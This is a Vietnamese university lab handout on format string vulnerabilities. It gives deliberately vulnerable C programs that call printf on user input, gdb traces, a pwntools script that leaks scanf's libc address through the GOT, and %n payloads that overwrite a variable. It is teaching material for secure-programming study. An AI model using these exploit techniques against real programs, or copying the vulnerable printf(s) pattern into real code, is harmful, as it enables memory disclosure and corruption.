

5

Lab

PHỤC VỤ MỤC ĐÍCH GIÁO DỤC
FOR EDUCATIONAL PURPOSE ONLY

Format String

Binary Exploitaion

**Thực hành môn Lập trình An toàn & Khai thác lỗ hổng phần
mềm**



Tháng 10/2025

Lưu hành nội bộ

<Ng nghiêm cấm đăng tải trên internet dưới mọi hình thức>

A. TỔNG QUAN

1. Mục tiêu

Tìm hiểu lỗ hổng format string

2. Thời gian thực hành

- Thực hành tại lớp: **5** tiết tại phòng thực hành.
- Hoàn thành báo cáo kết quả thực hành: tối đa **13** ngày.

3. Môi trường thực hành

Sinh viên cần chuẩn bị trước máy tính với môi trường thực hành như sau:

- 1 PC cá nhân với hệ điều hành tự chọn
- Virtual Box hoặc **VMWare** + máy ảo **Linux** có Docker (hoặc Windows Subsystem Linux version2)

B. THỰC HÀNH

1. Hàm chuỗi định dạng

Input: `printf("Color %s, Number %d, Float %4.2f", "red", 123456, 3.14);`

Output: Color red, Number 123456, Float 3.14

Hàm	Giới thiệu
printf	
fprint	
vprintf	
vfprintf	
sprintf	
snprintf	
vsprintf	
vsnprintf	
setproctitle	
syslog	
err, verr, warn, vwarn	

® Bài tập (yêu cầu làm)

- Dựa vào tên hàm ở bảng trên hãy điền giới thiệu về các hàm trên bảng.

```
%[parameter][flags][field width][.precision][length]type
```

- parameter: n\$, lấy tham số được trong chuỗi định dạng;
- field width: chiều rộng tối thiểu của đầu ra;
- precision: chiều dài tối đa của đầu ra;
- length: chiều dài của đầu ra;
- type: d/l, u, x/X, s, c, p, n, %.

Có hai cách khai thác lỗ hổng định dạng chuỗi:

- Làm cho chương trình bị sập, vì xác suất địa chỉ tham số tương ứng với %s bất hợp pháp tương đối cao.
- Kiểm tra nội dung xuất %d %f trên ngăn xếp.

2. Bộ nhớ rò rỉ

Tận dụng lỗ hổng chuỗi định dạng, có thể lấy nội dung mà muốn xuất ra:

- Rò rỉ bộ nhớ ngăn xếp:
 - Nhận giá trị của một biến
 - Nhận bộ nhớ tương ứng với địa chỉ của một biến
- Rò rỉ bộ nhớ địa chỉ tùy ý:
 - Sử dụng bảng GOT để lấy địa chỉ hàm libc, sau đó lấy libc, rồi lấy địa chỉ của các hàm libc khác
 - Dump chương trình lấy thông tin hữu ích

a) Rò rỉ bộ nhớ ngăn xếp

```
#include <stdio.h>
int main() {
    char s[100];
    int a = 1, b = 0x22222222, c = -1;
    scanf("%s", s);
    printf("%08x.%08x.%08x.%s\n", a, b, c, s);
    printf(s);
    return 0;
}
```

Biên dịch

```
gcc -m32 -fno-stack-protector -no-pie -o leak leak.c
```

Nhận giá trị của biến ngăn xếp

Sử dụng chuỗi định dạng để lấy giá trị của biến trên ngăn xếp

```
(kali@phaphajian)-[~/lab4]
$ ./leak
%08x.%08x.%08x
00000001.22222222.ffffffff.%08x.%08x.%08x
ffffd180.f7fc9410.08049189
```

Sử dụng gdb và đặt breakpoint tại printf

```
pwndbg> b printf
Breakpoint 1 at 0x8049030
pwndbg> r
Starting program: /home/kali/lab4/leak
```

Sau đó nhập chuỗi %08x.%08x.%08x

```
[ DISASM ]
> 0xf7e18220 <printf>      call    __x86.get_pc_thunk.ax          <__x86.get_pc_thunk.ax>
      arg[0]: 0x80491d6 (main+100) ← add    esp, 0x20
      arg[1]: 0x804a00b ← '%08x.%08x.%08x.%s\n'
      arg[2]: 0x1
      arg[3]: 0x22222222 ('')

0xf7e18225 <printf+5>      add     eax, 0x195ddb
0xf7e1822a <printf+10>     sub     esp, 0xc
0xf7e1822d <printf+13>     lea     edx, [esp + 0x14]
0xf7e18231 <printf+17>     push    0
0xf7e18233 <printf+19>     push    edx
0xf7e18234 <printf+20>     push    dword ptr [esp + 0x18]
0xf7e18238 <printf+24>     mov     eax, dword ptr [eax - 0x6c]
0xf7e1823e <printf+30>     push    dword ptr [eax]
0xf7e18240 <printf+32>     call   __vfprintf_internal          <__vfprintf_internal>
0xf7e18245 <printf+37>     add     esp, 0x1c

[ STACK ]
00:0000| esp 0xffffd11c → 0x80491d6 (main+100) ← add    esp, 0x20
01:0004| 0xffffd120 → 0x804a00b ← '%08x.%08x.%08x.%s\n'
02:0008| 0xffffd124 ← 0x1
03:000c| 0xffffd128 ← 0x22222222 ('')
04:0010| 0xffffd12c ← 0xffffffff
05:0014| 0xffffd130 → 0xffffd140 ← '%08x.%08x.%08x'
06:0018| 0xffffd134 → 0xffffd140 ← '%08x.%08x.%08x'
07:001c| 0xffffd138 → 0xf7fc9410 → 0x80482b8 ← 'GLIBC_2.0'

[ BACKTRACE ]
> f 0 0xf7e18220 printf
f 1 0x80491d6 main+100
f 2 0xf7de2fd6 __libc_start_main+262
```

Biến đầu tiên trong ngăn xếp là địa chỉ trả về, biến thứ hai là địa chỉ của chuỗi đã định dạng, biến thứ ba là giá trị a và biến thứ tư là giá trị của b, biến thứ năm là giá trị của c, và biến thứ sáu là địa chỉ tương ứng với chuỗi đã định dạng mà đã nhập. Tiếp tục chạy chương trình

```
pwndbg> c
Continuing.
00000001.22222222.ffffffff.%08x.%08x.%08x
```

```

[ DISASM ]
0xf7e18220 <printf>      call    __x86.get_pc_thunk.ax      <__x86.get_pc_thunk.ax>
arg[0]: 0x80491e5 (main+115) ← add    esp, 0x10
arg[1]: 0xffffd140 ← '%08x.%08x.%08x'
arg[2]: 0xffffd140 ← '%08x.%08x.%08x'
arg[3]: 0xf7fc9410 → 0x80482b8 ← 'GLIBC_2.0'

0xf7e18225 <printf+5>    add     eax, 0x195ddb
0xf7e1822a <printf+10>   sub     esp, 0xc
0xf7e1822d <printf+13>   lea     edx, [esp + 0x14]
0xf7e18231 <printf+17>   push    0
0xf7e18233 <printf+19>   push    edx
0xf7e18234 <printf+20>   push    dword ptr [esp + 0x18]
0xf7e18238 <printf+24>   mov     eax, dword ptr [eax - 0x6c]
0xf7e1823e <printf+30>   push    dword ptr [eax]
0xf7e18240 <printf+32>   call    __vfprintf_internal      <__vfprintf_internal>

0xf7e18245 <printf+37>   add     esp, 0x1c

[ STACK ]
00:0000 esp 0xffffd12c → 0x80491e5 (main+115) ← add    esp, 0x10
01:0004 0xffffd130 → 0xffffd140 ← '%08x.%08x.%08x'
02:0008 0xffffd134 → 0xffffd140 ← '%08x.%08x.%08x'
03:000c 0xffffd138 → 0xf7fc9410 → 0x80482b8 ← 'GLIBC_2.0'
04:0010 0xffffd13c → 0x8049189 (main+23) ← add     ebx, 0x2e77
05:0014 eax 0xffffd140 ← '%08x.%08x.%08x'
06:0018 0xffffd144 ← '%08x.%08x'
07:001c 0xffffd148 ← 'x.%08x'

[ BACKTRACE ]
f 0 0xf7e18220 printf
f 1 0x80491e5 main+115
f 2 0xf7de2fd6 __libc_start_main+262

```

Tại thời điểm này, vì chuỗi được định dạng là %x%x%x, chương trình sẽ coi các giá trị 0xffffd134 và các giá trị tiếp theo trên ngăn xếp là tham số đầu tiên, thứ hai và thứ ba tương ứng và hiểu như kiểu int và xuất chúng. Tiếp tục chạy:

```

pwndbg> c
Continuing.
ffffd140.f7fc9410.08049189[Inferior 1 (process 37125) exited normally]

```

Ta cũng có thể lấy dữ liệu bằng %p:

```

(kali@phaphajian)~[~/Lab4]
$ ./leak
%p.%p.%p
00000001.22222222.ffffffff.%p.%p.%p
0xffffd180.0xf7fc9410.0x8049189

```

Ở đây cần lưu ý rằng kết quả không giống nhau mọi lúc, vì dữ liệu trên ngăn xếp sẽ khác nhau do các được cấp phát mỗi lần.

Cần lưu ý rằng phương pháp ở trên là lấy lần lượt từng tham số trong ngăn xếp. Có cách nào để lấy trực tiếp giá trị của tham số thứ n + 1 trong ngăn xếp không?

® Bài tập (yêu cầu làm)

2. Dùng GDB debug nhập giá trị sau: %3\$x

Lấy chuỗi tương ứng với biến ngăn xếp

Ta có thể lấy chuỗi tương ứng với biến ngăn xếp:

```
pwndbg> b printf
```

```

Breakpoint 1 at 0x8049030
pwndbg> r
Starting program: /home/kali/lab4/leak
%s

Breakpoint 1, __printf (format=0x804a00b "%08x.%08x.%08x.%s\n") at printf.c:32
32      printf.c: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA

[ REGISTERS ]
EAX 0x804a00b ← '%08x.%08x.%08x.%s\n'
EBX 0x804c000 (_GLOBAL_OFFSET_TABLE_) → 0x804bf14 (_DYNAMIC) ← 0x1
ECX 0xf7f3b380 (_nl_C_LC_CTYPE_class+256) ← 0x20002
EDX 0xf7fae000 (_GLOBAL_OFFSET_TABLE_) ← 0x1e9d6c
EDI 0xf7fae000 (_GLOBAL_OFFSET_TABLE_) ← 0x1e9d6c
ESI 0xf7fae000 (_GLOBAL_OFFSET_TABLE_) ← 0x1e9d6c
EBP 0xffffd1b8 ← 0x0
ESP 0xffffd11c → 0x80491d6 (main+100) ← add esp, 0x20
EIP 0xf7e18220 (printf) ← call 0xf7f08e59

[ DISASM ]
► 0xf7e18220 <printf>      call    __x86.get_pc_thunk.ax          <__x86.get_pc_thunk.ax>
                        arg[0]: 0x80491d6 (main+100) ← add esp, 0x20
                        arg[1]: 0x804a00b ← '%08x.%08x.%08x.%s\n'
                        arg[2]: 0x1
                        arg[3]: 0x22222222 ('')

0xf7e18225 <printf+5>      add     eax, 0x195ddb
0xf7e1822a <printf+10>     sub     esp, 0xc
0xf7e1822d <printf+13>     lea     edx, [esp + 0x14]
0xf7e18231 <printf+17>     push    0
0xf7e18233 <printf+19>     push    edx
0xf7e18234 <printf+20>     push    dword ptr [esp + 0x18]
0xf7e18238 <printf+24>     mov     eax, dword ptr [eax - 0x6c]
0xf7e1823e <printf+30>     push    dword ptr [eax]
0xf7e18240 <printf+32>     call    __vfprintf_internal          <__vfprintf_internal>

0xf7e18245 <printf+37>     add     esp, 0x1c

[ STACK ]
00:0000| esp 0xffffd11c → 0x80491d6 (main+100) ← add esp, 0x20
01:0004| 0xffffd120 → 0x804a00b ← '%08x.%08x.%08x.%s\n'
02:0008| 0xffffd124 ← 0x1
03:000c| 0xffffd128 ← 0x22222222 ('')
04:0010| 0xffffd12c ← 0xffffffff
05:0014| 0xffffd130 → 0xffffd140 ← 0x7325 /* '%s' */
06:0018| 0xffffd134 → 0xffffd140 ← 0x7325 /* '%s' */
07:001c| 0xffffd138 → 0xf7fc9410 → 0x80482b8 ← 'GLIBC_2.0'

[ BACKTRACE ]
► f 0 0xf7e18220 printf
  f 1 0x80491d6 main+100
  f 2 0xf7de2fd6 __libc_start_main+262

pwndbg> c
Continuing.
00000001.22222222.ffffffff.%s

Breakpoint 1, __printf (format=0xffffd140 "%s") at printf.c:32
32      in printf.c
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA

[ REGISTERS ]
*EAX 0xffffd140 ← 0x7325 /* '%s' */
EBX 0x804c000 (_GLOBAL_OFFSET_TABLE_) → 0x804bf14 (_DYNAMIC) ← 0x1
*ECX 0x0
*EDX 0x0
EDI 0xf7fae000 (_GLOBAL_OFFSET_TABLE_) ← 0x1e9d6c
ESI 0xf7fae000 (_GLOBAL_OFFSET_TABLE_) ← 0x1e9d6c
EBP 0xffffd1b8 ← 0x0
*ESP 0xffffd12c → 0x80491e5 (main+115) ← add esp, 0x10

```

```

EIP 0xf7e18220 (printf) ← call 0xf7f08e59
[ DISASM ]
► 0xf7e18220 <printf>      call  __x86.get_pc_thunk.ax          <__x86.get_pc_thunk.ax>
    arg[0]: 0x80491e5 (main+115) ← add    esp, 0x10
    arg[1]: 0xffffd140 ← 0x7325 /* '%s' */
    arg[2]: 0xffffd140 ← 0x7325 /* '%s' */
    arg[3]: 0xf7fc9410 → 0x80482b8 ← 'GLIBC_2.0'

0xf7e18225 <printf+5>      add    eax, 0x195ddb
0xf7e1822a <printf+10>     sub    esp, 0xc
0xf7e1822d <printf+13>     lea    edx, [esp + 0x14]
0xf7e18231 <printf+17>     push   0
0xf7e18233 <printf+19>     push   edx
0xf7e18234 <printf+20>     push   dword ptr [esp + 0x18]
0xf7e18238 <printf+24>     mov    eax, dword ptr [eax - 0x6c]
0xf7e1823e <printf+30>     push   dword ptr [eax]
0xf7e18240 <printf+32>     call   __vfprintf_internal          <__vfprintf_internal>

0xf7e18245 <printf+37>     add    esp, 0x1c
[ STACK ]
00:0000| esp 0xffffd12c → 0x80491e5 (main+115) ← add    esp, 0x10
01:0004| 0xffffd130 → 0xffffd140 ← 0x7325 /* '%s' */
02:0008| 0xffffd134 → 0xffffd140 ← 0x7325 /* '%s' */
03:000c| 0xffffd138 → 0xf7fc9410 → 0x80482b8 ← 'GLIBC_2.0'
04:0010| 0xffffd13c → 0x8049189 (main+23) ← add    ebx, 0x2e77
05:0014| eax 0xffffd140 ← 0x7325 /* '%s' */
06:0018| 0xffffd144 ← 0x1
07:001c| 0xffffd148 → 0xf7ffd9a0 ← 0x0
[ BACKTRACE ]
► f 0 0xf7e18220 printf
  f 1 0x80491e5 main+115
  f 2 0xf7de2fd6 __libc_start_main+262

pwndbg> c
Continuing.
%s[Inferior 1 (process 1476) exited normally]

```

Có thể thấy rằng khi hàm printf được thực thi lần thứ hai, biến tại 0xffffd134 thực sự được coi là một biến chuỗi và chuỗi tại địa chỉ tương ứng với giá trị của nó được xuất ra.

Tất nhiên, không phải tất cả các biến này đều chạy bình thường, nếu biến tương ứng không thể phân tích cú pháp thành địa chỉ chuỗi thì chương trình sẽ trực tiếp gặp sự cố. Ngoài ra, ta cũng có thể chỉ định số lượng tham số trên ngăn xếp được xuất ra dưới dạng chuỗi định dạng. Ví dụ ta chỉ định tham số thứ 3 của printf như sau, lúc này chương trình không thể phân tích cú pháp được và bị treo.

```

(kali@phaphajian)~/lab4
$ ./leak
%2$s
00000001.22222222.ffffffff.%2$s

```

Tóm tắt mẹo:

1. Sử dụng %x để lấy bộ nhớ của ngăn xếp tương ứng, nhưng nên sử dụng %p, bạn không cần quan tâm đến sự khác biệt về số lượng bit.

2. Sử dụng `%s` để lấy nội dung của địa chỉ tương ứng với biến, nhưng không bị cắt bớt.
3. Sử dụng `%order$x` để nhận giá trị của tham số được chỉ định và sử dụng `%order$s` để nhận nội dung của địa chỉ tương ứng với tham số đã chỉ định.

b) Rò rỉ bộ nhớ địa chỉ tùy ý

Có thể thấy rằng ở phần trên, dù là rò rỉ biến liên tục trên ngăn xếp hay rò rỉ giá trị biến được chỉ định, chúng ta vẫn chưa thể kiểm soát hoàn toàn địa chỉ của biến mà ta muốn rò rỉ. Rò rỉ như vậy là hữu ích, nhưng chúng không mạnh và hiệu quả. Đôi khi, ta có thể muốn làm rò rỉ nội dung của bảng GOT của một hàm libc nhất định, để lấy địa chỉ của nó, sau đó lấy phiên bản libc và địa chỉ của các hàm khác. Lúc này, điều rất quan trọng là có thể để kiểm soát hoàn toàn việc rò rỉ bộ nhớ của một địa chỉ xác định. Vì vậy, ta có thể làm điều này? Đương nhiên nó cũng có thể.

Trong các lỗ hổng định dạng chuỗi, các chuỗi định dạng mà chúng ta đọc đều nằm trên ngăn xếp (vì nó là biến cục bộ của một hàm, trong trường hợp này `s` là hàm main của biến cục bộ). Nói cách khác, khi hàm đầu ra được gọi, giá trị của tham số đầu tiên thực sự là địa chỉ của chuỗi được định dạng. Chúng ta chọn một trong các lệnh gọi hàm trên làm ví dụ:

```
[ DISASM ]
0xf7e18220 <printf>      call    __x86.get_pc_thunk.ax          <__x86.get_pc_thunk.ax>
                        arg[0]: 0x80491e5 (main+115) ←- add    esp, 0x10
                        arg[1]: 0xffffd140 ←- 0x7325 /* '%s' */
                        arg[2]: 0xffffd140 ←- 0x7325 /* '%s' */
                        arg[3]: 0xf7fc9410 →- 0x80482b8 ←- 'GLIBC_2.0'

0xf7e18225 <printf+5>    add     eax, 0x195ddb
0xf7e1822a <printf+10>   sub     esp, 0xc
0xf7e1822d <printf+13>   lea     edx, [esp + 0x14]
0xf7e18231 <printf+17>   push    0
0xf7e18233 <printf+19>   push    edx
0xf7e18234 <printf+20>   push    dword ptr [esp + 0x18]
0xf7e18238 <printf+24>   mov     eax, dword ptr [eax - 0x6c]
0xf7e1823e <printf+30>   push    dword ptr [eax]
0xf7e18240 <printf+32>   call    __vfprintf_internal          <__vfprintf_internal>

0xf7e18245 <printf+37>   add     esp, 0x1c

[ STACK ]
00:0000| esp 0xffffd12c →- 0x80491e5 (main+115) ←- add    esp, 0x10
01:0004| 0xffffd130 →- 0xffffd140 ←- 0x7325 /* '%s' */
02:0008| 0xffffd134 →- 0xffffd140 ←- 0x7325 /* '%s' */
03:000c| 0xffffd138 →- 0xf7fc9410 →- 0x80482b8 ←- 'GLIBC_2.0'
04:0010| 0xffffd13c →- 0x8049189 (main+23) ←- add     ebx, 0x2e77
05:0014| eax 0xffffd140 ←- 0x7325 /* '%s' */
06:0018| 0xffffd144 ←- 0x1
```

Có thể thấy rằng biến thứ hai trên ngăn xếp là địa chỉ chuỗi được định dạng `0xffffd140` và địa chỉ được lưu trữ trong địa chỉ này thực sự là nội dung chuỗi được định dạng `"%s"`.

addr%k\$s

```
[tag]%p%p%p%p%p%p...
```

[illegible]

```
(kali@phaphajian)-[~/lab4]
$ ./leak
%4$s
00000001.22222222.ffffffff.%4$s
zsh: segmentation fault ./leak
```

```
pwndbg> c
Continuing.
00000001.22222222.ffffffff.%4$s

Breakpoint 1, __printf (format=0xffffd140 "%4$s") at printf.c:32
32      in printf.c

LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA

[ REGISTERS ]
*EAX  0xffffd140 ← '%4$s'
*EBX  0x804c000 (_GLOBAL_OFFSET_TABLE_) → 0x804bf14 (_DYNAMIC) ← 0x1
*ECX  0x0
*EDX  0x0
EDI   0xf7fae000 (_GLOBAL_OFFSET_TABLE_) ← 0x1e9d6c
ESI   0xf7fae000 (_GLOBAL_OFFSET_TABLE_) ← 0x1e9d6c
EBP   0xffffd1b8 ← 0x0
*ESP  0xffffd12c → 0x80491e5 (main+115) ← add    esp, 0x10
EIP   0xf7e18220 (printf) ← call   0xf7f08e59
```

```

[ DISASM ]
► 0xf7e18220 <printf>      call    __x86.get_pc_thunk.ax          <__x86.get_pc_thunk.ax>
                           arg[0]: 0x80491e5 (main+115) ← add    esp, 0x10
                           arg[1]: 0xffffd140 ← '%4$s'
                           arg[2]: 0xffffd140 ← '%4$s'
                           arg[3]: 0xf7fc9410 → 0x80482b8 ← 'GLIBC_2.0'

0xf7e18225 <printf+5>      add     eax, 0x195ddb
0xf7e1822a <printf+10>     sub     esp, 0xc
0xf7e1822d <printf+13>     lea     edx, [esp + 0x14]
0xf7e18231 <printf+17>     push    0
0xf7e18233 <printf+19>     push    edx
0xf7e18234 <printf+20>     push    dword ptr [esp + 0x18]
0xf7e18238 <printf+24>     mov     eax, dword ptr [eax - 0x6c]
0xf7e1823e <printf+30>     push    dword ptr [eax]
0xf7e18240 <printf+32>     call    __vfprintf_internal          <__vfprintf_internal>

0xf7e18245 <printf+37>     add     esp, 0x1c

[ STACK ]
00:0000| esp 0xffffd12c → 0x80491e5 (main+115) ← add    esp, 0x10
01:0004|      0xffffd130 → 0xffffd140 ← '%4$s'
02:0008|      0xffffd134 → 0xffffd140 ← '%4$s'
03:000c|      0xffffd138 → 0xf7fc9410 → 0x80482b8 ← 'GLIBC_2.0'
04:0010|      0xffffd13c → 0x8049189 (main+23) ← add    ebx, 0x2e77
05:0014| eax 0xffffd140 ← '%4$s'
06:0018|      0xffffd144 ← 0x0
07:001c|      0xffffd148 → 0xf7ffd9a0 ← 0x0

[ BACKTRACE ]
► f 0 0xf7e18220 printf
  f 1 0x80491e5 main+115
  f 2 0xf7de2fd6 __libc_start_main+262

pwndbg> help x/
Examine memory: x/FMT ADDRESS.
ADDRESS is an expression for the memory address to examine.
FMT is a repeat count followed by a format letter and a size letter.
Format letters are o(octal), x(hex), d(decimal), u(unsigned decimal),
t(binary), f(float), a(address), i(instruction), c(char), s(string)
and z(hex, zero padded on the left).
Size letters are b(byte), h(halfword), w(word), g(giant, 8 bytes).
The specified number of objects of the specified size are printed
according to the format. If a negative number is specified, memory is
examined backward from the address.

Defaults for format and size letters are those previously used.
Default count is 1. Default address is following last thing printed
with this command or "print".
pwndbg> x/x 0xffffd140
0xffffd140:      0x73243425

pwndbg> vmmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x8048000 0x8049000 r--p      1000 0      /home/kali/lab4/leak
0x8049000 0x804a000 r-xp      1000 1000   /home/kali/lab4/leak
0x804a000 0x804b000 r--p      1000 2000   /home/kali/lab4/leak
0x804b000 0x804c000 r--p      1000 2000   /home/kali/lab4/leak
0x804c000 0x804d000 rw-p      1000 3000   /home/kali/lab4/leak
0x804d000 0x806f000 rw-p      22000 0      [heap]
0xf7dc4000 0xf7de1000 r--p      1d000 0      /usr/lib/i386-linux-gnu/libc-2.32.so
0xf7de1000 0xf7f39000 r-xp     158000 1d000   /usr/lib/i386-linux-gnu/libc-2.32.so
0xf7f39000 0xf7fab000 r--p      72000 175000  /usr/lib/i386-linux-gnu/libc-2.32.so
0xf7fab000 0xf7fac000 ---p      1000 1e7000  /usr/lib/i386-linux-gnu/libc-2.32.so
0xf7fac000 0xf7fae000 r--p      2000 1e7000  /usr/lib/i386-linux-gnu/libc-2.32.so
0xf7fae000 0xf7fb0000 rw-p      2000 1e9000  /usr/lib/i386-linux-gnu/libc-2.32.so
0xf7fb0000 0xf7fb2000 rw-p      2000 0      [anon_f7fb0]
0xf7fb2000 0xf7fb4000 rw-p      2000 0      [anon_f7fb4]
0xf7fb4000 0xf7fb6000 r--p      4000 0      [vvar]
0xf7fb6000 0xf7fb8000 r-xp      2000 0      [vdso]
0xf7fb8000 0xf7fbd000 r--p      1000 0      /usr/lib/i386-linux-gnu/ld-2.32.so
0xf7fbd000 0xf7fde000 r-xp     1e000 1000   /usr/lib/i386-linux-gnu/ld-2.32.so
0xf7fde000 0xf7ffe000 r--p      b000 1f000   /usr/lib/i386-linux-gnu/ld-2.32.so

```



```
0xf7ffc000 0xf7ffd000 r--p 1000 2a000 /usr/lib/i386-linux-gnu/ld-2.32.so
0xf7ffd000 0xf7ffe000 rw-p 1000 2b000 /usr/lib/i386-linux-gnu/ld-2.32.so
0xffffdd00 0xfffffe000 rw-p 21000 0 [stack]
pwndbg> x/x 0x73243425
0x73243425: Cannot access memory at address 0x73243425
```

Rõ ràng, giá trị biến 0x73243425 tương ứng với chuỗi định dạng tương ứng với 0xffffd140 không thể được truy cập bởi chương trình đã sửa đổi, vì vậy chương trình tự nhiên bị treo.

Vì vậy, điều gì sẽ xảy ra nếu ta đặt một địa chỉ có thể truy cập? Ví dụ: scanf@got, kết quả sẽ như thế nào? Nó sẽ xuất ra địa chỉ tương ứng với scanf một cách tự nhiên?

Đầu tiên, lấy địa chỉ của scanf@got, như sau:

Lý do tại sao hàm printf không được sử dụng ở đây là do hàm scanf có một số cách xử lý lạ đối với các ký tự như 0a, 0b, 0c, 00, ... khiến bạn không thể đọc chúng một cách bình thường.

```
pwndbg> got
GOT protection: Partial RELRO | GOT functions: 3
[0x804c00c] printf@GLIBC_2.0 → 0xf7e18220 (printf) ← call 0xf7f08e59
[0x804c010] __libc_start_main@GLIBC_2.0 → 0xf7de2ed0 (__libc_start_main) ← call 0xf7f08e59
[0x804c014] __isoc99_scanf@GLIBC_2.7 → 0xf7e19300 (__isoc99_scanf) ← call 0xf7f08e59
```

Dùng pwntools để tạo payload như sau:

```
from pwn import *
sh = process('./leak')
leakmemory = ELF('./leak')
__isoc99_scanf_got = leakmemory.got['__isoc99_scanf']
print (hex(__isoc99_scanf_got))
payload = p32(__isoc99_scanf_got) + b'%4$s'
print (payload)
#gdb.attach(sh)
sh.sendline(payload)
sh.recvuntil(b'%4$s\n')
print (hex(u32(sh.recv()[4:8]))) # remove the first bytes of
__isoc99_scanf@got
sh.interactive()
```

```
(kali㉿kali)-[~/Desktop/lab4]
$ python3 leak.py
[+] Starting local process './leak': pid 1780
[*] '/home/kali/Desktop/lab4/leak'
  Arch:      i386-32-little
  RELRO:     Partial RELRO
  Stack:     No canary found
  NX:        NX enabled
  PIE:       No PIE (0x8048000)
0x804c014
b'\x14\xc0\x04\x08%4$s'
0xf7d642c0
[*] Switching to interactive mode
[*] Process './leak' stopped with exit code 0 (pid 1780)
[*] Got EOF while reading in interactive
$
```

Ta đã nhận được địa chỉ của scanf:

® Bài tập (yêu cầu làm)

3. Dùng GDB debug và phân tích tại sao có địa chỉ của scanf.

3. Ghi đè bộ nhớ

Ở trên, ta đã chỉ ra cách sử dụng chuỗi định dạng để làm rò rỉ bộ nhớ ngăn xếp và bộ nhớ tại các địa chỉ tùy ý, vậy liệu có thể sửa đổi giá trị của các biến trên ngăn xếp hoặc thậm chí sửa đổi bộ nhớ của biến tại các địa chỉ tùy ý không?

% n, không xuất ký tự, nhưng ghi số ký tự đã được xuất thành công vào biến được trỏ tới bởi tham số con trỏ số nguyên tương ứng.

```
#include <stdio.h>
int a = 123, b = 456;
int main() {
    int c = 789;
    char s[100];
    printf("%p\n", &c);
    scanf("%s", s);
    printf(s);
    if (c == 16) {
        puts("modified c.");
    } else if (a == 2) {
        puts("modified a for a small number.");
    } else if (b == 0x12345678) {
```

```
puts("modified b for a big number!");  
}  
return 0;  
}
```

Bất kể biến ở địa chỉ nào, về cơ bản ta tạo payload tương tự như sau

```
...[overwrite addr]....%[overwrite offset]$n
```

Trong số đó ... đại diện cho nội dung điền của ta, overwrite addr đại diện cho địa chỉ ta muốn ghi đè và địa chỉ bù đắp ghi đè đại diện cho vị trí lưu trữ địa chỉ mà ta muốn ghi đè dưới dạng tham số đầu tiên của chuỗi định dạng của hàm đầu ra. Các bước như sau

- Xác nhận địa chỉ chèn
- Xác định bù đắp tương đối
- Ghi đè

c) Ghi đè bộ nhớ ngăn xếp

Xác nhận địa chỉ chèn

Trước hết, ta tìm cách biết địa chỉ ngăn xếp của biến c. Vì bảo vệ ASLR được kích hoạt trong hầu hết các chương trình hiện tại, địa chỉ của ngăn xếp luôn thay đổi, vì vậy ta cố ý xuất địa chỉ của biến c ở đây.

Xác định bù đắp tương đối

Thứ hai, hãy đảm bảo rằng địa chỉ nơi lưu trữ chuỗi định dạng là tham số đầu tiên () mà printf sẽ xuất ra. Ở đây ta sử dụng phương pháp trước đó là rò rỉ giá trị của biến ngăn xếp để hoạt động. Bằng cách gdb:

Ta có thể thấy rằng giá trị của biến c được lưu trữ tại 0xffffd084. Sau đó, ta xác định rằng địa chỉ 0xffffd098 của chuỗi định dạng '%d%d' là lệch 0x14 so với tham số chuỗi định dạng 0xffffd080 của hàm printf, nghĩa là, chuỗi định dạng tương đương với tham số thứ bảy của hàm printf. Tương đương với tham số thứ sáu của chuỗi định dạng.

```

0x7e17205 <printf+37>      add     esp, 0x1c
[ STACK ]
00:0000 | esp 0xffffd07c → 0x565561f4 (main+55) ← add     esp, 0x10
01:0004 |      0xffffd080 → 0x56557008 ← 0xa7025 /* '%p\n' */
02:0008 |      0xffffd084 → 0xffffd0fc ← 0x315
03:000c |      0xffffd088 → 0xf7fc9410 → 0x56555318 ← 'GLIBC_2.0'
04:0010 |      0xffffd08c → 0x565561d4 (main+23) ← add     ebx, 0x2e2c
05:0014 |      0xffffd090 ← 0x0
06:0018 |      0xffffd094 ← 0x1
07:001c |      0xffffd098 → 0xf7ffd9a0 → 0x56555000 ← 0x464c457f
[ BACKTRACE ]
► f 0 0xf7e171e0 printf
  f 1 0x565561f4 main+55
  f 2 0xf7de1fd6 __libc_start_main+262

pwndbg> c
Continuing.
0xffffd0fc
%d%d
File System

Breakpoint 1, 0xf7e171e0 in printf () from /lib32/libc.so.6
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[ REGISTERS ]
*EAX 0xffffd098 ← '%d%d'
EBX 0x56559000 (_GLOBAL_OFFSET_TABLE_) ← 0x3efc
*ECX 0xf7f3a380 ← 0x20002
*EDX 0xf7fad000 ← 0x1e9d6c
EDI 0xf7fad000 ← 0x1e9d6c
ESI 0xf7fad000 ← 0x1e9d6c
EBP 0xffffd108 ← 0x0
ESP 0xffffd07c → 0x56556219 (main+92) ← add     esp, 0x10
EIP 0xf7e171e0 (printf) ← call    0xf7f07e19
[ DISASM ]
► 0xf7e171e0 <printf>      call    0xf7f07e19
                                <0xf7f07e19>
0xf7e171e5 <printf+5>      add     eax, 0x195e1b
0xf7e171ea <printf+10>     sub     esp, 0xc
0xf7e171ed <printf+13>     lea     edx, [esp + 0x14]
0xf7e171f1 <printf+17>     push    0
0xf7e171f3 <printf+19>     push    edx
0xf7e171f4 <printf+20>     push    dword ptr [esp + 0x18]
0xf7e171f8 <printf+24>     mov     eax, dword ptr [eax - 0x6c]
0xf7e171fe <printf+30>     push    dword ptr [eax]
0xf7e17200 <printf+32>     call    0xf7e27620
                                <0xf7e27620>
0xf7e17205 <printf+37>     add     esp, 0x1c
[ STACK ]
00:0000 | esp 0xffffd07c → 0x56556219 (main+92) ← add     esp, 0x10
01:0004 |      0xffffd080 → 0xffffd098 ← '%d%d'
02:0008 |      0xffffd084 → 0xffffd098 ← '%d%d'
03:000c |      0xffffd088 → 0xf7fc9410 → 0x56555318 ← 'GLIBC_2.0'
04:0010 |      0xffffd08c → 0x565561d4 (main+23) ← add     ebx, 0x2e2c
05:0014 |      0xffffd090 ← 0x0
06:0018 |      0xffffd094 ← 0x1
07:001c | eax 0xffffd098 ← '%d%d'
[ BACKTRACE ]
► f 0 0xf7e171e0 printf
  f 1 0x56556219 main+92
  f 2 0xf7de1fd6 __libc_start_main+262

```

Ghi đề

Theo cách này, giá trị tại tham số thứ sáu là địa chỉ của biến lưu trữ `c`, và chúng ta có thể sử dụng các đặc tính của `%n` để sửa đổi giá trị của `c` với payload như sau

```
[addr of c]%012d%6$n
```

